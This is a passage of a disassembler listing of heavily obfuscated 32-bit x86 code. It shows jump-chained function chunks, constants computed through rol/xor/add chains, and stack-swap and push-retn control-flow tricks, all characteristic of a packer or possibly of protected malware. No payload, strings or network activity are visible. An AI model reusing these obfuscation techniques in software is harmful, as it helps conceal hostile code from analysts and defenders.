FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428414: ; CODE XREF: hjohnhn9:004242D1j jz loc_426EAD jmp loc_4261F6 ; =============== S U B R O U T I N E ======================================= sub_42841F proc near ; CODE XREF: hjohnhn9:004261B7j ; sub_424A28:loc_42872Fp ; FUNCTION CHUNK AT 00423810 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423D11 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427B02 SIZE 0000000C BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_4233C4 or eax, eax jnz loc_4260A9 jmp loc_423D11 sub_42841F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428436 proc near ; CODE XREF: sub_4287BF-1234p ; sub_4287BF:loc_429061p push offset sub_424564 jmp loc_42687B sub_428436 endp ; --------------------------------------------------------------------------- loc_428440: ; CODE XREF: hjohnhn9:00426C7Aj jno loc_42344E popf ; =============== S U B R O U T I N E ======================================= sub_428447 proc near ; CODE XREF: sub_4262C5+1363p ; FUNCTION CHUNK AT 00423899 SIZE 00000002 BYTES xchg eax, [esp+0] pop eax jnz loc_424E63 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp jmp loc_423899 sub_428447 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426523 loc_42845E: ; CODE XREF: sub_426523:loc_42628Fj idiv ecx mov [ebp-8], eax push offset loc_426116 jmp loc_427CEC ; END OF FUNCTION CHUNK FOR sub_426523 ; --------------------------------------------------------------------------- loc_42846D: ; CODE XREF: hjohnhn9:00423A26j mov ds:dword_423954, eax jmp loc_42787C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428477 proc near ; CODE XREF: sub_423425j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042395D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004239D0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00424ACA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424CC8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424DE2 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00424E8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004252C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004267E0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004279E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004287A5 SIZE 0000001A BYTES push ebp mov ebp, esp push ecx jmp loc_4267E0 sub_428477 endp ; --------------------------------------------------------------------------- push esi push 87B37D53h pop esi or esi, 9B81DE4Ch rol esi, 1Fh push ecx jmp loc_423801 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_428496: ; CODE XREF: sub_427F90:loc_42440Fj shl [ebp+var_8], 8 jmp loc_427135 ; --------------------------------------------------------------------------- loc_42849F: ; CODE XREF: sub_427F90:loc_428F71j mov eax, [ebp+var_C] call sub_425029 ; END OF FUNCTION CHUNK FOR sub_427F90 ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4284A7: ; CODE XREF: sub_424A28+30ADj jmp loc_428EAA ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427324 loc_4284AC: ; CODE XREF: sub_427324+10j or edx, 27175886h add edx, 827297C1h call sub_4279ED push edx mov edx, eax xchg edx, [esp+0] ror eax, 17h jmp loc_4279D7 ; END OF FUNCTION CHUNK FOR sub_427324 ; =============== S U B R O U T I N E ======================================= sub_4284CB proc near ; CODE XREF: sub_42897Aj ; DATA XREF: sub_428965+Bo ; FUNCTION CHUNK AT 00423C85 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425B97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426559 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427FBA SIZE 00000014 BYTES cdq add eax, [esp+0] call loc_4244FA loc_4284D4: ; CODE XREF: hjohnhn9:00428074j mov ds:dword_426E3C, eax lea eax, [ebp-14h] xor edx, edx call sub_427AEB call sub_426749 jmp loc_425B97 sub_4284CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4284ED: ; CODE XREF: sub_424161+429j popf loc_4284EE: ; CODE XREF: sub_424161:loc_42457Ej and eax, ds:4000F9h xor eax, 0E7A8609Ah add eax, ebp add eax, 1A458262h mov eax, [eax] popf jmp loc_423B50 ; END OF FUNCTION CHUNK FOR sub_424161 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42850B: ; CODE XREF: sub_427486-2729j jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428510: ; CODE XREF: sub_426A78-B4Aj rol eax, 9 push eax retn ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- loc_428515: ; CODE XREF: hjohnhn9:004280CDj jmp loc_42806F ; =============== S U B R O U T I N E ======================================= sub_42851A proc near ; CODE XREF: sub_4279C0:loc_42446Cp var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423692 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00424603 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042471C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00424A07 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424D63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E76 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424EF1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004267CC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004269E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427EFB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428951 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429107 SIZE 00000005 BYTES push eax mov eax, ebp jmp loc_424D63 sub_42851A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_428522: ; CODE XREF: sub_42345B+F6Dj mov edi, eax pop eax xor edi, 7AC294Ch and edi, 0F324205Ah sub edi, 1CCD31ABh add edi, 5D0B7FC7h jmp loc_42827F ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_428542: ; CODE XREF: sub_42355C+26D2j ror eax, 11h mov ds:dword_428B04, eax retn ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42854C: ; CODE XREF: sub_426354+2868j jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_428551: ; CODE XREF: sub_426671-64Fj ; sub_42355C+2B31j rol eax, 11h push eax call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_426671 ; =============== S U B R O U T I N E ======================================= sub_42855B proc near ; CODE XREF: sub_4265A0:loc_4270C5j ; sub_4263E3+1B33p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423320 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042623D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427DCD SIZE 00000005 BYTES jns loc_42623D jmp loc_427DCD sub_42855B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428567: ; CODE XREF: sub_424631+2A80j jmp loc_423E80 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B7A loc_42856C: ; CODE XREF: sub_427B7A-101Cj jmp loc_4235C0 ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_428571: ; CODE XREF: sub_4278DC-4147j jmp loc_42514C ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_428576: ; CODE XREF: sub_4265CD-2FCEj add eax, 0F1EDD6A1h ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_42466E loc_42857C: ; CODE XREF: sub_42466E:loc_42402Cj or eax, 1C45DFABh test eax, 40h jmp loc_4289F8 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_42858D: ; CODE XREF: sub_427C9B+13C1j jle loc_4271AE test eax, esi jmp loc_426176 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_42859A proc near ; CODE XREF: hjohnhn9:0042360Bj ; sub_428C4E+Bp ; FUNCTION CHUNK AT 00425FA3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427886 SIZE 0000000F BYTES xchg esi, [esp+0] pop esi or eax, eax jnz loc_425FA3 call sub_424877 jmp loc_427886 sub_42859A endp ; sp-analysis failed ; --------------------------------------------------------------------------- call nullsub_117 push edx push 5D51C839h pop edx jmp loc_42823A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4285C1: ; CODE XREF: sub_424161+4j test byte ptr [ebp-8], 40h jz loc_423C90 push ebp mov eax, [ebp-20h] call sub_423CCD jmp loc_424F86 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- locret_4285D9: ; CODE XREF: hjohnhn9:loc_428ECBj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4285DA: ; CODE XREF: sub_426354+13j jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_4285DF proc near ; CODE XREF: sub_423A75+3755j ; FUNCTION CHUNK AT 00426A2B SIZE 00000005 BYTES push ebx pushf push offset loc_4242AF jmp loc_426A2B sub_4285DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4285EB: ; CODE XREF: sub_423B05:loc_4275E9j rol eax, 12h xor eax, 0A572612Ah add eax, ebp add eax, 0D2A47652h mov eax, [eax] push offset loc_424768 jmp nullsub_58 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- push 0E22750C9h pop eax and eax, 0E8C440A5h add eax, 203E124Fh mov eax, [eax] call sub_426BFD loc_428621: ; CODE XREF: hjohnhn9:00426111j jmp loc_423C72 ; --------------------------------------------------------------------------- loc_428626: ; CODE XREF: hjohnhn9:00424B17j ; hjohnhn9:00426880j jmp loc_427CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_42862B: ; CODE XREF: sub_423B05-8DBj jz loc_423C67 jmp loc_425E64 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_428636: ; CODE XREF: sub_424928+12j xor esi, 0EC755FA9h rol esi, 0Ch jb loc_423984 jp loc_4274DF push 0ED12CE14h jmp loc_423984 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- loc_428655: ; CODE XREF: hjohnhn9:00426A73j sub ebp, 1D877403h ; =============== S U B R O U T I N E ======================================= sub_42865B proc near ; CODE XREF: sub_425029-153Dp xchg eax, [esp+0] pop eax mov eax, [ebp-8] call sub_428357 loc_428667: ; CODE XREF: sub_424631+2A6Bj jmp loc_4249A3 sub_42865B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42866C: ; CODE XREF: sub_4287BF-5623j ; sub_4287BF:loc_428888j add eax, 5 cmp eax, ds:dword_4252D0 loc_428675: ; CODE XREF: hjohnhn9:00428FC1j jz loc_4268DB loc_42867B: ; CODE XREF: sub_4287BF:loc_42318Dj ; sub_4287BF+8B5j jno loc_427246 mov eax, [ebp-4] call sub_426924 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_427234 ; END OF FUNCTION CHUNK FOR sub_4287BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_428696: ; CODE XREF: sub_424928-F95j jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_42869B: ; CODE XREF: sub_423CDB:loc_425EFBj sub edx, 0D48679D9h and edx, 0F1D0428Eh loc_4286A7: ; CODE XREF: hjohnhn9:loc_4269B7j add edx, 1B9E0E67h call sub_4279ED push ecx push offset sub_42325E jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_4286BD: ; CODE XREF: sub_426CC8:loc_42633Fj push 49B5FB9h pop ecx sub ecx, 9CD41AECh xor ecx, 32E7C044h add ecx, 0AB22037Dh xchg ecx, [esp+4+var_4] jmp loc_4260B3 ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A55 loc_4286DD: ; CODE XREF: sub_424A55+13j jz loc_424C81 inc dword ptr [ebp-8] ; END OF FUNCTION CHUNK FOR sub_424A55 ; START OF FUNCTION CHUNK FOR sub_428271 loc_4286E6: ; CODE XREF: sub_424A55+23Dj ; sub_428271:loc_426B92j mov eax, [ebp-8] pop ecx pop ecx pop ebp jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4286F1: ; CODE XREF: sub_425BD2:loc_424266j or edx, 293B973Eh xor edx, 5CA6FE90h add edx, ebp add edx, 0DC26FECDh mov edx, [edx] mov [edx], al jmp loc_4265B8 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42870E proc near ; DATA XREF: sub_428192:loc_428253o push ebp mov ebp, esp mov esp, ebp call sub_428C4E sub_42870E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428718 proc near ; CODE XREF: sub_424E4F-966p ; hjohnhn9:00427F2Ej xchg ebx, [esp+0] pop ebx pop ebp retn sub_428718 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42645D loc_42871E: ; CODE XREF: sub_42645D+Dj jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_42645D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424335 loc_428723: ; CODE XREF: sub_424335+Bj jmp loc_425147 ; END OF FUNCTION CHUNK FOR sub_424335 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_428728: ; CODE XREF: sub_424E4F-978j ; sub_42392D+1510j xor eax, eax loc_42872A: ; CODE XREF: hjohnhn9:loc_427763j jmp loc_4265B3 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_42872F: ; CODE XREF: sub_424A28+6j call sub_42841F loc_428734: ; CODE XREF: hjohnhn9:00428A0Fj jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_424A28 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42873A: ; CODE XREF: sub_4260BD+1j jmp loc_429032 ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_42873F proc near ; CODE XREF: sub_426A30:loc_4247BCp ; sub_426A30+13p ; FUNCTION CHUNK AT 0042322F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042324B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004252D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427021 SIZE 00000007 BYTES xor bx, bx add ebx, 10000h loc_428748: ; CODE XREF: sub_42873F-550Aj ; sub_42873F:loc_427021j jno loc_42324B sub ebx, 10000h mov eax, [ebx] jmp loc_42322F sub_42873F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42875B: ; CODE XREF: sub_426354:loc_4290A3j sub ecx, 5D05A8A1h cmp ecx, 0AC25379Bh jmp loc_425F00 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_42876C: ; CODE XREF: sub_428D64-4AD4j or eax, edx mov edx, [ebp-8] loc_428771: ; CODE XREF: sub_425BD2:loc_424454j mov [edx], al mov eax, [ebp-8] mov al, [eax] jmp loc_4264EB ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C98 loc_42877D: ; CODE XREF: sub_425C98:loc_4264F0j xchg ecx, [esp+0] ror eax, 7 call sub_426D6A ; END OF FUNCTION CHUNK FOR sub_425C98 ; =============== S U B R O U T I N E ======================================= sub_428788 proc near ; CODE XREF: hjohnhn9:00425BEDj ; sub_424631:loc_428124p ; FUNCTION CHUNK AT 00423610 SIZE 0000000F BYTES xchg ecx, [esp+0] pop ecx mov edx, 0CF0182F6h call sub_427C53 mov ds:dword_423954, eax loc_42879B: ; CODE XREF: hjohnhn9:00423A0Cj ; sub_424631+4j ... mov eax, ds:dword_423954 jmp loc_423610 sub_428788 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4287A5: ; CODE XREF: sub_428477:loc_4279E3j xor eax, 4AF24693h add eax, ebp add eax, 6BD28E9Fh mov eax, [eax] xchg eax, [esp+8+var_8] call eax loc_4287BA: ; CODE XREF: hjohnhn9:00426730j jmp loc_4252C8 ; END OF FUNCTION CHUNK FOR sub_428477 ; =============== S U B R O U T I N E ======================================= sub_4287BF proc near ; DATA XREF: sub_423851+6o ; FUNCTION CHUNK AT 00423022 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042318D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042369A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423767 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427234 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042757E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042866C SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00428888 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429061 SIZE 00000022 BYTES mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_4287D2 jmp loc_423053 ; --------------------------------------------------------------------------- loc_4287D2: ; CODE XREF: sub_423851j sub_4287BF+8j jno loc_427588 mov eax, [ebp-4] jmp loc_423767 sub_4287BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4287E0: ; CODE XREF: sub_426354+128Aj xor ecx, 0F5929170h add ecx, ebp add ecx, 264E3726h mov [ecx], eax pop ecx inc dword ptr [ebp-10h] cmp dword ptr [ebp-8], 0 jmp loc_427AB5 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- sub eax, esi test ebx, ecx jmp loc_4269B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_428806: ; CODE XREF: sub_426D02+Aj push 4365EA7Eh pop eax rol eax, 0Dh xor eax, 0C8A505A7h rol eax, 1Dh add eax, 91853137h jmp loc_4274D5 ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428823: ; CODE XREF: sub_425029-1536j jp loc_42626A ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_428829 proc near ; CODE XREF: sub_4262C5+289Dp xchg ecx, [esp+0] pop ecx push 38651AACh pop ecx jmp loc_425E3A sub_428829 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428838 proc near ; CODE XREF: hjohnhn9:00423AFFj ; hjohnhn9:00427BB8p xchg esi, [esp+0] pop esi mov al, [eax] sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h push offset sub_423851 jmp nullsub_122 sub_428838 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_428851: ; CODE XREF: sub_423CDB:loc_424CA5j mov [ebp-24h], eax mov dword ptr [ebp-18h], 0 loc_42885B: ; CODE XREF: sub_425F3F+3j mov eax, [ebp-14h] mov eax, [eax+20h] add eax, [ebp-4] xor edx, edx push edx call sub_428965 loc_42886C: ; CODE XREF: hjohnhn9:00425B66j jmp loc_426B13 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_428871: ; CODE XREF: hjohnhn9:004272CDj and edx, 752A12AAh cmp edx, 0ED7C7803h jmp loc_426E70 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428883: ; CODE XREF: sub_427852+739j jmp loc_428EEB ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_428888: ; CODE XREF: sub_4287BF-123Cj jmp loc_42866C ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A36 loc_42888D: ; CODE XREF: sub_4265CD-258Ej ; sub_427A36-1779j jmp nullsub_65 ; END OF FUNCTION CHUNK FOR sub_427A36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_428892: ; CODE XREF: hjohnhn9:loc_423604j ; sub_42345B+3B82j pop ecx sub ecx, 0AEA4A8ACh xor ecx, ds:4000F7h rol ecx, 0Eh and ecx, 2216952Ah jmp loc_424145 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4288AD: ; CODE XREF: sub_426A30-3794j call sub_426859 jnz loc_427181 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_4247C1 jmp loc_4247B9 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_4288C9: ; CODE XREF: sub_428CC9+Ej jnz loc_423E25 jmp sub_428E98 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_4288D4: ; CODE XREF: sub_427486-111j mov edi, [ecx] cdq loc_4288D7: ; CODE XREF: sub_427486:loc_428DEEj call sub_428FD3 push 383FE567h xchg ebp, [esp+0] mov edx, ebp pop ebp add edx, 19F9D197h jmp loc_428B1C ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_4288F3: ; CODE XREF: sub_424877+1j jmp loc_42464A ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4288F8: ; CODE XREF: sub_424161-28Fj jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- xchg edi, ebp mov edx, [edi] jmp sub_4264CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_428906: ; CODE XREF: sub_427564+81Fj jge loc_42655C jno loc_425CE7 loc_428912: ; CODE XREF: sub_427564-3AC6j rol edx, 1Bh add edx, 0AFC6A692h add edx, ebp jmp sub_423A75 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_428922: ; CODE XREF: hjohnhn9:loc_4264B7j pop edx sub edx, 0DAE6080Fh rol edx, 2 and edx, 0A9DCFEE7h rol edx, 0Dh jmp loc_424941 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_42893A: ; CODE XREF: sub_424698+1DD8j cmp edx, 11B06969h jmp loc_423AD2 ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_428945 proc near ; CODE XREF: sub_424D99-E93p ; hjohnhn9:00424D87j arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg ebx, [esp-4+arg_0] jmp loc_42762D sub_428945 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_428951: ; CODE XREF: sub_42851A:loc_424D63j xchg eax, [esp+0] mov ebp, esp push ecx mov esp, ebp xchg ecx, [esp+4+var_4] loc_42895C: ; CODE XREF: sub_426C09+238Bj mov ebp, ecx add ecx, ebp jmp loc_4267CC ; END OF FUNCTION CHUNK FOR sub_42851A ; =============== S U B R O U T I N E ======================================= sub_428965 proc near ; CODE XREF: hjohnhn9:00425CAEj ; sub_423CDB+4B8Cp ; FUNCTION CHUNK AT 004265BE SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push eax mov eax, [ebp-18h] shl eax, 2 push offset sub_4284CB jmp loc_4265BE sub_428965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42897A proc near ; CODE XREF: sub_42442F:loc_424F52j retn sub_42897A endp ; =============== S U B R O U T I N E ======================================= sub_42897B proc near ; CODE XREF: sub_425CB3:loc_427860p ; sub_4283C9+Aj ; FUNCTION CHUNK AT 00424A1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F5C SIZE 0000001A BYTES jz sub_42363F push ebp mov ebp, esp push ecx call sub_428309 loc_42898A: ; CODE XREF: sub_424946+38ADj jmp loc_424F5C sub_42897B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426859 loc_42898F: ; CODE XREF: sub_426859+Cj jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_426859 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428994: ; CODE XREF: sub_426A78-1981j jmp loc_425187 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428999: ; CODE XREF: sub_425029:loc_428244j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 call sub_42441D ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_4289A4 proc near ; CODE XREF: hjohnhn9:00424BFCp ; hjohnhn9:00427C13j xchg ecx, [esp+0] pop ecx call nullsub_2 jmp loc_4270BB sub_4289A4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4289B2 proc near ; CODE XREF: sub_4279ED+3j add esp, 0FFFFFED8h mov [ebp-8], edx loc_4289BB: ; CODE XREF: sub_423F65:loc_424F8Bj call sub_423CDB sub_4289B2 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425EA9 loc_4289C0: ; CODE XREF: sub_425EA9+6j jmp loc_424801 ; END OF FUNCTION CHUNK FOR sub_425EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4289C5: ; CODE XREF: sub_424A28:loc_4276BBj jnz loc_4260A9 jmp loc_427ACF ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- push edx mov edx, eax xchg edx, [esp] call sub_426AF6 ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4289DB: ; CODE XREF: sub_427C9B-1BD3j adc edx, ecx loc_4289DD: ; CODE XREF: sub_426A78:loc_425187j call sub_424877 mov edx, 0D504D785h call sub_4279ED push edi mov edi, eax xchg edi, [esp+0] jmp loc_423771 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_4289F8: ; CODE XREF: sub_42466E+3F1Aj jmp loc_42309F ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4289FD: ; CODE XREF: sub_42363F+398Bj push eax call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_428A04: ; DATA XREF: sub_424819+2BE6o push esi mov esi, edx xchg esi, [esp] push offset sub_4236A7 jmp loc_428734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_428A14: ; CODE XREF: sub_4263E3-1B37j jl loc_427F10 jmp loc_425056 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- or edx, edi and edx, eax jmp sub_4249E1 ; 